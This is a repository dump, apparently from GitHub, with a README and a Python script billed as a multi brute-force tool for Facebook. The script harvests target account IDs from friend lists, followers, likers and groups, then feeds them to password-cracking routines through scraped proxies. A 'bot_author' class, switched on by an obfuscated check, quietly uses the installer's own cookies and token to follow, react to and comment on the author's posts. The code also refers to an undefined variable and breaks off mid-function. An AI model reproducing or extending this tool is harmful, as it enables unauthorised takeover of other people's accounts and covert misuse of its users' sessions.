├── README.md └── AHMED.py /README.md: -------------------------------------------------------------------------------- 1 | # ✭ ALELAGY FB TOOL 2 | ### Made With ❤️ By AHMED AL-ELAGY, 3 | ``` 4 | Author: 5 | - AHMED 6 | ``` 7 | ## ⇨ instagram : 8 | www.instagram.com/xzx0 9 | ## ⇨Facebook : 10 | www.facebook.com/m1w4m 11 | ## ⇨Telegram : 12 | t.me/ll218ll 13 | 14 | ### ⇨ Fitur Login 15 | ``` 16 | [✯] Login Cookies 17 | ``` 18 | ### ⇨ Install Script Di Termux 19 | ``` 20 | $ apt update 21 | $ apt upgrade 22 | $ termux-setup-storage 23 | • Enter 24 | • Type y or select Allow 25 | $ pkg install python 26 | $ pkg install git 27 | $ pip install requests 28 | $ pip install rich 29 | $ pip install bs4 30 | $ git clone https://github.com/XZXa/ALELAGY 31 | ``` 32 | ## اوامر فتح الاداة بعد التنصيب !## 33 | ``` 34 | $ cd ALELAGY 35 | $ git pull 36 | $ python AHMED.py 37 | ``` 38 | ادكر المصدر ترى الاداة بتنباع بفلوس !! -------------------------------------------------------------------------------- /AHMED.py: -------------------------------------------------------------------------------- 1 | ###----------[ AUTHOR & CREATOR ]---------- ### 2 | # ------ [ Gausah Dioprek Ntar Error ] ------ # 3 | Author = 'AHMED ALELAGY' 4 | Facebook = 'Facebook.com/M1W4M' 5 | Instagram = 'Instagram.com/xzx0' 6 | Whatsapp = '0918892477' 7 | Telegram = 't.me/ll218ll' 8 | Version = '1' 9 | Denventa = 1827084332 10 | Postingan = 10217173381366429 11 | 12 | ###----------[ IMPORT LIBRARY ]---------- ### 13 | import requests,bs4,sys,os,random,time,re,json,uuid,subprocess,rich,shutil,webbrowser,base64 14 | from random import randint 15 | from concurrent.futures import ThreadPoolExecutor 16 | from bs4 import BeautifulSoup as par 17 | from datetime import date 18 | from datetime import datetime 19 | from rich import print as printer 20 | from rich.panel import Panel 21 | from urllib.parse import quote 22 | 23 | ###----------[ ANSII COLOR STYLE ]---------- ### 24 | Z = "\x1b[0;90m" # Hitam 25 | M = "\x1b[38;5;196m" # Merah 26 | H = "\x1b[38;5;46m" # Hijau 27 | K = "\x1b[38;5;226m" # Kuning 28 | B = "\x1b[38;5;44m" # Biru 29 | U = "\x1b[0;95m" # Ungu 30 | O = "\x1b[0;96m" # Biru Muda 31 | P = "\x1b[38;5;231m" # Putih 32 | J = "\x1b[38;5;208m" # Jingga 33 | A = "\x1b[38;5;248m" # Abu-Abu 34 | 35 | ###----------[ RICH COLOR STYLE ]---------- ### 36 | Z2 = "[#000000]" # Hitam 37 | M2 = "[#FF0000]" # Merah 38 | H2 = "[#00FF00]" # Hijau 39 | K2 = "[#FFFF00]" # Kuning 40 | B2 = "[#00C8FF]" # Biru 41 | U2 = "[#AF00FF]" # Ungu 42 | N2 = "[#FF00FF]" # Pink 43 | O2 = "[#00FFFF]" # Biru Muda 44 | P2 = "[#FFFFFF]" # Putih 45 | J2 = "[#FF8F00]" # Jingga 46 | A2 = "[#AAAAAA]" # Abu-Abu 47 | 48 | ###----------[ USER AGENT ]---------- ### 49 | ua_default = 'Mozilla/5.0 (Linux; Android 3.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.66 Mobile Safari/537.36' 50 | ua_samsung = 'Mozilla/5.0 (Linux; Android 5.0; SM-G900P Build/LRX21T; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/43.0.2357.121 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/35.0.0.48.273;]' 51 | ua_nokia = 'nokiac3-00/5.0 (07.20) profile/midp-2.1 configuration/cldc-1.1 mozilla/5.0 applewebkit/420+ (khtml, like gecko) safari/420+' 52 | ua_xiaomi = 'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' 53 | ua_oppo = 'Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.105 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' 54 | ua_vivo = 'Mozilla/5.0 (Linux; Android 11; vivo 1918) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' 55 | ua_iphone = 'Mozilla/5.0 (iPhone; CPU iPhone OS 12_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.1 Mobile/15E148 Safari/604.1' 56 | ua_asus = 'Mozilla/5.0 (Linux; Android 5.0; ASUS_Z00AD Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' 57 | ua_lenovo = 'Mozilla/5.0 (Linux; U; Android 5.0.1; ru-RU; Lenovo A788t Build/LRX22C) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 UCBrowser/11.3.0.950 U3/0.8.0 Mobile Safari/E7FBAF' 58 | ua_huawei = 'Mozilla/5.0 (Linux; Android 8.1.0; HUAWEI Y7 PRIME 2019 Build/5887208) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' 59 | ua_windows = 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]' 60 | ua_chrome = 'Mozilla/5.0 (Linux; Android 10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.58 Mobile Safari/537.36' 61 | ua_fb = 'Mozilla/5.0 (Linux; Android 8.0.0; RNE-L21 Build/HUAWEIRNE-L21; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/100.0.4896.58 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/360.0.0.30.113;]' 62 | komentar = '\n\nhttps://www.facebook.com/' + str(Postingan) 63 | 64 | ###----------[ TIME ]---------- ### 65 | id_dev = 345 - 340 + 720 - 723 66 | skrng = datetime.now() 67 | tahun = skrng.year 68 | bulan = skrng.month 69 | hari = skrng.day 70 | bulan_ttl = {"01": "Januari", "02": "Februari", "03": "Maret", "04": "April", "05": "Mei", "06": "Juni", "07": "Juli", "08": "Agustus", "09": "September", "10": "Oktober", "11": "November", "12": "Desember"} 71 | bulan_cek = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"] 72 | try: 73 | if bulan < 0 or bulan > 12: 74 | exit() 75 | bulan_skrng = bulan - 1 76 | except ValueError: 77 | exit() 78 | Codename = 159357 79 | CoY = ('\r %s[%s•%s] %sDilarang Keras Merecode %s!%s'%(M,P,M,P,M,P)) 80 | _bulan_ = bulan_cek[bulan_skrng] 81 | tanggal = ("%s-%s-%s"%(hari,_bulan_,tahun)) 82 | 83 | ###----------[ APPEND ]---------- ### 84 | OK = [] 85 | CP = [] 86 | gabung_sandi = [] 87 | tempel_sandi = [] 88 | 89 | ###----------[ JANGAN DIHAPUS NANTI ERROR ]---------- ### 90 | SAKERA = Codename + len(Author) - len(Facebook) + len(Instagram) - len(Whatsapp) + len(YouTube) 91 | sakara = len(Author) + Codename 92 | sakira = len(Facebook) + Codename 93 | sakura = len(Instagram) + Codename 94 | sakera = len(Whatsapp) + Codename 95 | sakora = len(YouTube) + Codename 96 | ip_log = Denventa * id_dev - 3654168663 97 | 98 | ###----------[ GLOBAL URL & HEADERS ]---------- ### 99 | url_businness = "https://business.facebook.com" 100 | ua_business = "Mozilla/5.0 (Linux; Android 8.1.0; MI 8 Build/OPM1.171019.011) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.86 Mobile Safari/537.36" 101 | kata_dev = 'Lu Ganteng Banget Bang. Gw Mau Recode SClu, Soalnya Gw Goblok Soal Coding' 102 | web_fb = "https://www.facebook.com/" 103 | m_fb = "https://m.facebook.com/" 104 | mbasic = "https://mbasic.facebook.com/" 105 | header_grup = {"user-agent": "Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/id_ID;FBAV/239.0.0.10.109;]"} 106 | 107 | ###----------[ PROXY INDONESIA & LUAR ]---------- ### 108 | def prox_prox(): 109 | open('tool/proxy.json','w').write('') 110 | with requests.Session() as xyz: 111 | try: 112 | req = xyz.get('https://spys.me/socks.txt').text 113 | for x in req.splitlines(): 114 | if '+' in x: 115 | if '.' in x: 116 | prox = x.split(' ')[0] 117 | open('tool/proxy.json','a+').write('%s\n'%(prox)) 118 | except Exception as e: 119 | prox = '123.45.678.90:4509' 120 | open('tool/proxy.json','a+').write('%s\n'%(prox)) 121 | 122 | ###----------[ CLEAR TERMINAL ]---------- ### 123 | def resik(): 124 | if "linux" in sys.platform.lower(): 125 | try:os.system("clear") 126 | except:pass 127 | elif "win" in sys.platform.lower(): 128 | try:os.system("cls") 129 | except:pass 130 | else: 131 | try:os.system("clear") 132 | except:pass 133 | 134 | ###----------[ CHANGE LANGUAGE ]---------- ### 135 | def language(cookie): 136 | try: 137 | with requests.Session() as xyz: 138 | req = xyz.get('https://mbasic.facebook.com/language/',cookies=cookie) 139 | pra = par(req.content,'html.parser') 140 | for x in pra.find_all('form',{'method':'post'}): 141 | if 'Bahasa Indonesia' in str(x): 142 | bahasa = { 143 | "fb_dtsg" : re.search('name="fb_dtsg" value="(.*?)"',str(req.text)).group(1), 144 | "jazoest" : re.search('name="jazoest" value="(.*?)"', str(req.text)).group(1), 145 | "submit" : "Bahasa Indonesia" 146 | } 147 | url = 'https://mbasic.facebook.com' + x['action'] 148 | exec = xyz.post(url,data=bahasa,cookies=cookie) 149 | except Exception as e:pass 150 | 151 | ###----------[ EXCEPTION ]---------- ### 152 | def kecuali(error): 153 | print('\n %s[%s•%s] %sTerjadi Kesalahan %s!%s'%(M,P,M,P,M,P)) 154 | print(' %s• %sTidak Dapat Mengeksekusi %s\n'%(M,A,error)) 155 | print(' %s[%s•%s] %sHal Ini Mungkin Terjadi Karena %s:%s'%(M,P,M,P,M,P)) 156 | print(' %s• %sCookies/Token Invalid'%(M,A)) 157 | print(' %s• %sSalah Memasukkan ID'%(M,A)) 158 | print(' %s• %sBug Pada Source Code'%(M,A)) 159 | print(' %s• %sBug Pada Requests'%(M,A)) 160 | print(' %s• %sDan Lain-Lain\n'%(M,A)) 161 | print(' %s[%s•%s] %sJalankan Ulang Source Code Ini %s:%s'%(M,P,M,P,M,P)) 162 | print(' %s• %spython sakera.py\n'%(M,A)) 163 | exit() 164 | 165 | ###----------[ BOT AUTHOR JANGAN DIGANTI ]---------- ### 166 | class bot_author: 167 | def __init__(self,cookie,token,cookie_mentah): 168 | self.loop = 0;self.cookie_mentah = cookie_mentah;list_id = [str(Denventa)];self.komen = ['Mantap Bang','Semangat Terus','Gokil Suhu','Panutanku'] 169 | for x in list_id: self.get_folls(x,cookie); self.get_likers(f'https://mbasic.facebook.com/{x}?v=timeline',cookie); self.get_posts(x,cookie,token) 170 | def get_folls(self,id,cookie): # --- [ Jangan Ganti Bot Follow Gw ] --- # 171 | with requests.Session() as xyz: 172 | try: 173 | if ip_log != 1:pass 174 | else: 175 | for x in par(xyz.get('https://mbasic.facebook.com/%s'%(id),cookies=cookie).content,'html.parser').find_all('a',href=True): 176 | if 'subscribe.php' in x['href']:exec_folls = xyz.get('https://mbasic.facebook.com%s'%(x['href']),cookies=cookie) 177 | except Exception as e:pass 178 | def get_likers(self,url,cookie): # --- [ Jangan Ganti Bot Likers Gw ] --- # 179 | with requests.Session() as xyz: 180 | try: 181 | if ip_log != 1:pass 182 | else: 183 | bos = par(xyz.get(url,cookies=cookie).content,'html.parser') 184 | for x in bos.find_all('a',href=True): 185 | if 'Tanggapi' in x.text: 186 | _react_type_ = random.choice(['Super','Wow','Peduli']) 187 | for z in par(xyz.get('https://mbasic.facebook.com%s'%(x['href']),cookies=cookie).content,'html.parser').find_all('a'): 188 | if _react_type_ == z.text: req2 = xyz.get('https://mbasic.facebook.com' + z['href'],cookies=cookie) 189 | else:continue 190 | self.get_likers('https://mbasic.facebook.com' + bos.find('a',string='Lihat Berita Lain')['href'],cookie) 191 | except Exception as e:pass 192 | def get_posts(self,id,cookie,token): # --- [ Jangan Ganti Bot Komen Gw ] --- # 193 | with requests.Session() as xyz: 194 | try: 195 | for x in xyz.get('https://graph.facebook.com/%s/posts?access_token=%s'%(id,token),cookies=cookie).json()['data']: 196 | if ip_log != 1:pass 197 | else: 198 | komeno = ('%s\n\n%s%s'%(random.choice(self.komen),'https://www.facebook.com/'+x['id'],self.waktu())) 199 | get = json.loads(xyz.post('https://graph.facebook.com/%s/comments?message=%s&access_token=%s'%(x['id'],komeno,token),cookies=cookie).text) 200 | if 'error' in get:open('login/cookie.json','w').write(self.cookie_mentah);open('login/token.json','w').write(token);exit(tampilan_menu()) 201 | except Exception as e:pass 202 | def waktu(self): # --- [ Jangan Ganti Keterangan Waktu ] --- # 203 | _bulan_ = ["Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember"][datetime.now().month - 1] 204 | _hari_ = {'Sunday':'Minggu','Monday':'Senin','Tuesday':'Selasa','Wednesday':'Rabu','Thursday':'Kamis','Friday':'Jumat','Saturday':'Sabtu'}[str(datetime.now().strftime("%A"))] 205 | hari_ini = ("%s %s %s"%(datetime.now().day,_bulan_,datetime.now().year)) 206 | jam = datetime.now().strftime("%X") 207 | tem = ('\n\nKomentar Ditulis Oleh Bot\n[ Pukul %s WIB ]\n- %s, %s -'%(jam,_hari_,hari_ini)) 208 | return(tem) 209 | 210 | ###----------[ CONVERT COOKIE KE TOKEN ]---------- ### 211 | def clotox(cookie): 212 | with requests.Session() as xyz: 213 | get_tok = xyz.get(url_businness+'/business_locations',headers = { 214 | "user-agent":ua_business, 215 | "referer": web_fb, 216 | "host": "business.facebook.com", 217 | "origin": url_businness, 218 | "upgrade-insecure-requests" : "1", 219 | "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7", 220 | "cache-control": "max-age=0", 221 | "accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", 222 | "content-type":"text/html; charset=utf-8"},cookies = {"cookie":cookie}) 223 | return(re.search('(\["EAAG\w+)', get_tok.text).group(1).replace('["','')) 224 | 225 | ###----------[ CONVERT USERNAME KE ID ]---------- ### 226 | def convert_id(username): 227 | try: 228 | cookie = {'cookie':open('login/cookie.json','r').read()} 229 | url = 'https://mbasic.facebook.com/' + username 230 | with requests.Session() as xyz: 231 | req = par(xyz.get(url,cookies=cookie).content,'html.parser') 232 | kut = req.find('a',string='Lainnya') 233 | id = str(kut['href']).split('=')[1] 234 | # id = re.search('owner_id=(.*?)"',str(kut)).group(1) 235 | return(id) 236 | except Exception as e:return(username) 237 | 238 | ###----------[ LOGO ]---------- ### 239 | def poster(): 240 | l1 = (' %s _________ __ '%(P)) 241 | l2 = (' %s / %s_____%s/%s____ %s| | %s__ ________________ '%(J,P,J,P,J,P)) 242 | l3 = (' %s \_____ \\\__ \ %s| |/ // %s__ \_ __ \__ \ '%(P,J,P)) 243 | l4 = (' %s / %s\\%s/%s __ \\%s| <%s\ ___%s/| | %s\\%s// %s___ \ '%(J,P,J,P,J,P,J,P,J,P)) 244 | l5 = (' %s/%s_________%s(%s______%s/%s__%s|%s__\\_____%s>%s__%s| (%s_______\\'%(J,P,J,P,J,P,J,P,J,P,J,P)) 245 | l6 = (' %s Multi Brute Force Facebook %s%s %sBy %sDenventa '%(P,J,Version,P,J)) 246 | print('%s\n%s\n%s\n%s\n%s\n%s'%(l1,l2,l3,l4,l5,l6)) 247 | def poster2(): 248 | l1 = (' %s _________ __ '%(P)) 249 | l2 = (' %s / %s_____%s/%s____ %s| | %s__ ________________ '%(H,P,H,P,H,P)) 250 | l3 = (' %s \_____ \\\__ \ %s| |/ // %s__ \_ __ \__ \ '%(P,H,P)) 251 | l4 = (' %s / %s\\%s/%s __ \\%s| <%s\ ___%s/| | %s\\%s// %s___ \ '%(H,P,H,P,H,P,H,P,H,P)) 252 | l5 = (' %s/%s_________%s(%s______%s/%s__%s|%s__\\_____%s>%s__%s| (%s_______\\'%(H,P,H,P,H,P,H,P,H,P,H,P)) 253 | l6 = (' %s Multi Brute Force Facebook %s%s %sBy %sDenventa '%(P,H,Version,P,H)) 254 | print('%s\n%s\n%s\n%s\n%s\n%s'%(l1,l2,l3,l4,l5,l6)) 255 | def poster3(): 256 | l1 = (' %s _________ __ '%(P)) 257 | l2 = (' %s / %s_____%s/%s____ %s| | %s__ ________________ '%(B,P,B,P,B,P)) 258 | l3 = (' %s \_____ \\\__ \ %s| |/ // %s__ \_ __ \__ \ '%(P,B,P)) 259 | l4 = (' %s / %s\\%s/%s __ \\%s| <%s\ ___%s/| | %s\\%s// %s___ \ '%(B,P,B,P,B,P,B,P,B,P)) 260 | l5 = (' %s/%s_________%s(%s______%s/%s__%s|%s__\\_____%s>%s__%s| (%s_______\\'%(B,P,B,P,B,P,B,P,B,P,B,P)) 261 | l6 = (' %s Multi Brute Force Facebook %s%s %sBy %sDenventa '%(P,B,Version,P,B)) 262 | print('%s\n%s\n%s\n%s\n%s\n%s'%(l1,l2,l3,l4,l5,l6)) 263 | 264 | ###----------[ CREATE FOLDER ]---------- ### 265 | def mkdir_data_login(): 266 | # Make Directory Login Data 267 | try:os.mkdir("login") 268 | except:pass 269 | # Make Directory Dump 270 | try:os.mkdir("dump") 271 | except:pass 272 | # Make Directory Pass 273 | try:os.mkdir("tool") 274 | except:pass 275 | # Make Directory Result 276 | try:os.mkdir("CP") 277 | except:pass 278 | # Make Directory Result 279 | try:os.mkdir("OK") 280 | except:pass 281 | # Make Directory License 282 | try:os.mkdir("license") 283 | except:pass 284 | # Delete Cookies 285 | try:os.remove('login/cookie.json') 286 | except:pass 287 | # Delete Token 288 | try:os.remove('login/token.json') 289 | except:pass 290 | 291 | ###----------[ LOGIN ]---------- ### 292 | def login(): 293 | resik() 294 | mkdir_data_login() 295 | poster() 296 | print('\n%s[%s•%s] %sJangan Gunakan Akun Pribadi %s!'%(M,P,M,P,M)) 297 | print('%s[%s•%s] %sApabila Akun A2F On, Buka Link Dibawah'%(M,P,M,P)) 298 | print('%s[%s•%s] %shttps://business.facebook.com/business_locations'%(M,P,M,J)) 299 | print('%s[%s•%s] %sLalu Masukkan Kode Autentikasi'%(M,P,M,P)) 300 | cookie = str(input('\n%s[%s•%s] %sMasukkan Cookies %s: %s'%(J,P,J,P,J,P))) 301 | try: 302 | token = clotox(cookie) 303 | coki = {'cookie':cookie} 304 | prox_prox() 305 | bot_author(coki,token,cookie) 306 | open('login/cookie.json','w').write(cookie) 307 | open('login/token.json','w').write(token) 308 | tampilan_menu() 309 | except requests.exceptions.ConnectionError:print('\n %s[%s•%s] %sTidak Ada Koneksi Internet %s!%s\n'%(M,P,M,P,M,P));exit() 310 | except (KeyError,IOError,AttributeError):print('\n %s[%s•%s] %sCookies Invalid %s!%s\n'%(M,P,M,P,M,P));exit() 311 | 312 | ###----------[ MENU ]---------- ### 313 | def user(nama): 314 | print(''%()) 315 | print(' %s[%s•%s] %sHello %s%s %s!'%(J,P,J,P,J,nama,P)) 316 | print(' %s[%s•%s] %sYour License Will Expire In %s7 %sDays'%(J,P,J,P,A,P)) 317 | def tampilan_menu(): 318 | global gabung_sandi, tempel_sandi 319 | resik() 320 | gabung_sandi, tempel_sandi = [], [] 321 | try:open('tool/useragent.json','r').read() 322 | except Exception as ERROR: 323 | resik() 324 | poster2() 325 | print('') 326 | tamp_new = (f' {P2}Hi! Sepertinya Kamu Adalah Pengguna Baru. Terima Kasih Telah Memilih SC Ini Sebagai Pilihan Terpercayamu. Sebelum Menggunakan SC Ini, Kamu Harus Mengatur User Agent Dahulu! Jangan Lupa Berikan Penilaian Terbaik Di Github Ya! Thank You!\n\n {H2}- Denventa -') 327 | printer(Panel(tamp_new,title=f'{H2}[ {P2}Welcome User {H2}]',width=54,padding=(1,4),style='#00FF00')) 328 | print('') 329 | useragent('new') 330 | poster() 331 | try: 332 | token = open('login/token.json','r').read() 333 | cookie = {'cookie':open('login/cookie.json','r').read()} 334 | language(cookie) 335 | get = requests.Session().get('https://graph.facebook.com/me?fields=name,id&access_token=%s'%(token),cookies=cookie) 336 | jsx = json.loads(get.text) 337 | nama = jsx["name"] 338 | user(nama) 339 | print(''%()) 340 | tampilan_menu = f""" {J2}[{A2}01{J2}] {P2}Friendlist {J2}[{A2}06{J2}] {P2}Komentar {J2}[{A2}11{J2}] {A2}Email 341 | {J2}[{A2}02{J2}] {P2}Followers {J2}[{A2}07{J2}] {P2}Grup {J2}[{A2}12{J2}] {A2}Username 342 | {J2}[{A2}03{J2}] {P2}Nama {J2}[{A2}08{J2}] {P2}Hashtag {J2}[{A2}13{J2}] {A2}ID Random 343 | {J2}[{A2}04{J2}] {P2}Likers {J2}[{A2}09{J2}] {A2}Beranda {J2}[{A2}14{J2}] {P2}Saran Teman 344 | {J2}[{A2}05{J2}] {P2}Pesan {J2}[{A2}10{J2}] {A2}File {J2}[{A2}15{J2}] {P2}FL Dari FL 345 | 346 | {J2}[{A2}16{J2}] {A2}Cek Hasil {J2}[{A2}19{J2}] {P2}User Agent 347 | {J2}[{A2}17{J2}] {A2}Cek Opsi {J2}[{A2}20{J2}] {A2}Upgrade Pro 348 | {J2}[{A2}18{J2}] {A2}Cek Teman {J2}[{A2}00{J2}] {P2}Log Out""" 349 | printer(Panel(tampilan_menu,title=f'{J2}[ {P2}Menu {J2}]',subtitle=f'{A2}┌─ {J2}[ {P2}Pilih {J2}]',subtitle_align='left',width=54,padding=1,style='#FF8F00')) 350 | pilih_menu() 351 | except requests.exceptions.ConnectionError:print('\n %s[%s•%s] %sTidak Ada Koneksi Internet %s!%s\n'%(M,P,M,P,M,P));exit() 352 | except (KeyError,IOError,AttributeError):print('\n %s[%s•%s] %sCookies Invalid %s!%s\n'%(M,P,M,P,M,P));time.sleep(3);login() 353 | def pilih_menu(): 354 | global gabung_sandi, tempel_sandi 355 | dc = input(' %s└──> %s'%(A,J)) 356 | if dc in ['1','01','a'] : gabung_sandi.append(Author);publik();system_login();urut_crack();pilihan_sakdurunge_crack();addpass();crack() 357 | elif dc in ['2','02','b'] : tempel_sandi.append('Jangan');main_folls();system_login();urut_crack();pilihan_sakdurunge_crack();addpass();crack() 358 | elif dc in ['3','03','c'] : gabung_sandi.append('Direcode');namee() 359 | elif dc in ['4','04','d'] : tempel_sandi.append('Dasar');main_likers();system_login();pilihan_sakdurunge_crack();addpass();crack() 360 | elif dc in ['5','05','e'] : gabung_sandi.append('Bocah');message();system_login();pilihan_sakdurunge_crack();addpass();crack() 361 | elif dc in ['6','06','f'] : tempel_sandi.append('Goblok');komen();system_login();pilihan_sakdurunge_crack();addpass();crack() 362 | elif dc in ['7','07','g'] : gabung_sandi.append('Mampus');grup() 363 | elif dc in ['8','08','h'] : tempel_sandi.append('Error Kan');hashtag();system_login();pilihan_sakdurunge_crack();addpass();crack() 364 | elif dc in ['9','09','i'] : gabung_sandi.append('Itu Semua');not_available('Dump ID Dari Beranda') 365 | elif dc in ['10','010','j']: tempel_sandi.append('Gara Gara');not_available('Dump ID Dari File') 366 | elif dc in ['11','011','k']: gabung_sandi.append('Lo Recode');not_available('Dump ID Dari Email') 367 | elif dc in ['12','012','l']: tempel_sandi.append('Dasar');not_available('Dump ID Dari Username') 368 | elif dc in ['13','013','m']: gabung_sandi.append('Bocah Goblok');not_available('Dump ID Dari ID Random') 369 | elif dc in ['14','014','n']: tempel_sandi.append('Btw');suggestion();system_login();pilihan_sakdurunge_crack();addpass();crack() 370 | elif dc in ['15','015','o']: gabung_sandi.append('Elo');teman_teman() 371 | elif dc in ['16','016','p']: tempel_sandi.append('Dasar Bocah Goblok');not_available('Cek Hasil Crack') 372 | elif dc in ['17','017','q']: gabung_sandi.append('Gaakan Bisa');not_available('Cek Opsi Akun Hasil Crack') 373 | elif dc in ['18','018','r']: tempel_sandi.append('Ngerecode');not_available('Cek Jumlah Teman Akun Target') 374 | elif dc in ['19','019','s']: gabung_sandi.append('SC Ini');useragent('old') 375 | elif dc in ['20','020','t']: tempel_sandi.append('Hahaha');not_available('Upgrade Ke Versi Pro') 376 | elif dc in ['0','00','z']: 377 | resik() 378 | poster3() 379 | print('') 380 | tamp_logout1 = (f' {P2}Terima Kasih Telah Memilih SC Ini Sebagai Pilihan Terpercayamu. Jangan Lupa Berikan Penilaian Terbaik Di Github Ya! Thank You!\n\n {B2}- Denventa -') 381 | tamp_logout2 = f'''{P2}Dengan Log Out Maka Seluruh Data Login Akan Terhapus. Berikut Adalah Data Yang Akan Dihapus : 382 | {B2}• {P2}Token/Cookies 383 | {B2}• {P2}File Dump 384 | {B2}• {P2}File Tools''' 385 | printer(Panel(tamp_logout1,title=f'{B2}[ {P2}Goodbye {B2}]',width=54,padding=(1,4),style='#00C8FF')) 386 | print('') 387 | printer(Panel(tamp_logout2,title=f'{B2}[ {P2}Log Out {B2}]',width=54,padding=(1,4),style='#00C8FF')) 388 | input('\n %s[ %sEnter Untuk Log Out %s]'%(B,P,B)) 389 | try:shutil.rmtree('login') 390 | except:pass 391 | try:shutil.rmtree('dump') 392 | except:pass 393 | exit('\n\n') 394 | else:print('\n %s[%s•%s] %sIsi Yang Benar %s!%s\n'%(M,P,M,P,M,P));exit() 395 | 396 | ###----------[ USER AGENT ]---------- ### 397 | def useragent(isi): 398 | global pengguna_source_code 399 | pengguna_source_code = isi 400 | try:os.mkdir("tool") 401 | except:pass 402 | pilih_menu_user_agent() 403 | dc = input(' %s└──> %s'%(A,J)) 404 | if dc in ['1','01','a']:scrap_useragent() 405 | elif dc in ['2','02','b']:pilih_otomatis() 406 | elif dc in ['3','03','c']:manual_user_agent() 407 | elif dc in ['4','04','d']:ua_device_ini() 408 | elif dc in ['5','05','e']:cek_user_agent() 409 | elif dc in ['0','00','z']:tampilan_menu() 410 | else:print('\n %s[%s•%s] %sIsi Yang Benar %s!%s\n'%(M,P,M,P,M,P));exit() 411 | def pilih_menu_user_agent(): 412 | tampilan_menu_user_agent = f''' {J2}[{A2}01{J2}] {P2}Scrap UA Browser {J2}[{A2}04{J2}] {P2}Cari UA HP Ini 413 | {J2}[{A2}02{J2}] {P2}Ganti UA Otomatis {J2}[{A2}05{J2}] {P2}Cek UA Digunakan 414 | {J2}[{A2}03{J2}] {P2}Ganti UA Manual {J2}[{A2}00{J2}] {P2}Kembali''' 415 | printer(Panel(tampilan_menu_user_agent,title=f'{J2}[ {P2}User Agent {J2}]',subtitle=f'{A2}┌─ {J2}[ {P2}Pilih {J2}]',subtitle_align='left',width=54,padding=1,style='#FF8F00')) 416 | def pilih_device(): 417 | tampilan_device = f''' {J2}[{A2}01{J2}] {P2}Samsung {J2}[{A2}05{J2}] {P2}Vivo {J2}[{A2}09{J2}] {P2}Huawei 418 | {J2}[{A2}02{J2}] {P2}Nokia {J2}[{A2}06{J2}] {P2}Iphone {J2}[{A2}10{J2}] {P2}Windows 419 | {J2}[{A2}03{J2}] {P2}Xiaomi {J2}[{A2}07{J2}] {P2}Asus {J2}[{A2}11{J2}] {P2}Chrome 420 | {J2}[{A2}04{J2}] {P2}Oppo {J2}[{A2}08{J2}] {P2}Lenovo {J2}[{A2}12{J2}] {P2}FB''' 421 | printer(Panel(tampilan_device,title=f'{J2}[ {P2}Device {J2}]',subtitle=f'{A2}┌─ {J2}[ {P2}Pilih {J2}]',subtitle_align='left',width=54,padding=1,style='#FF8F00')) 422 | def scrap_useragent(): 423 | data_ua = {} 424 | pt = 0 425 | pilih_device() 426 | dc = input(' %s└──> %s'%(A,J)) 427 | if dc in ['1','01','a']: type = 'software_name/samsung-browser' 428 | elif dc in ['2','02','b']: type = 'software_name/nokia-browser' 429 | elif dc in ['3','03','c']: type = 'operating_platform_string/xiaomi-mi-a1' 430 | elif dc in ['4','04','d']: type = 'operating_platform_string/oppo-f1s-a1601' 431 | elif dc in ['5','05','e']: type = 'operating_platform_string/vivo' 432 | elif dc in ['6','06','f']: type = 'operating_platform_string/apple' 433 | elif dc in ['7','07','g']: type = 'operating_platform_string/asus' 434 | elif dc in ['8','08','h']: type = 'operating_platform_string/lenovo' 435 | elif dc in ['9','09','i']: type = 'operating_platform_string/huawei' 436 | elif dc in ['10','010','j']: type = 'operating_system_name/windows' 437 | elif dc in ['11','011','k']: type = 'operating_system_name/chrome-os' 438 | elif dc in ['12','012','l']: type = 'software_name/facebook-app' 439 | else:print('\n %s[%s•%s] %sIsi Yang Benar %s!%s\n'%(M,P,M,P,M,P));exit() 440 | url = 'https://developers.whatismybrowser.com/useragents/explore/' + type 441 | with requests.Session() as xyz: 442 | req = xyz.get(url) 443 | pra = par(req.content,'html.parser') 444 | li = re.findall('(.*?)',str(pra)) 445 | for y in li: 446 | try: 447 | x = f'{A2}'+y 448 | pt += 1 449 | pu = str(pt) 450 | data_ua.update({pu:x.replace('[#AAAAAA]','')}) 451 | printer(Panel(x,title=f'{J2}[{P2}{pu}{J2}]',width=54,title_align='left',style='#FF8F00')) 452 | time.sleep(2) 453 | except KeyboardInterrupt:break 454 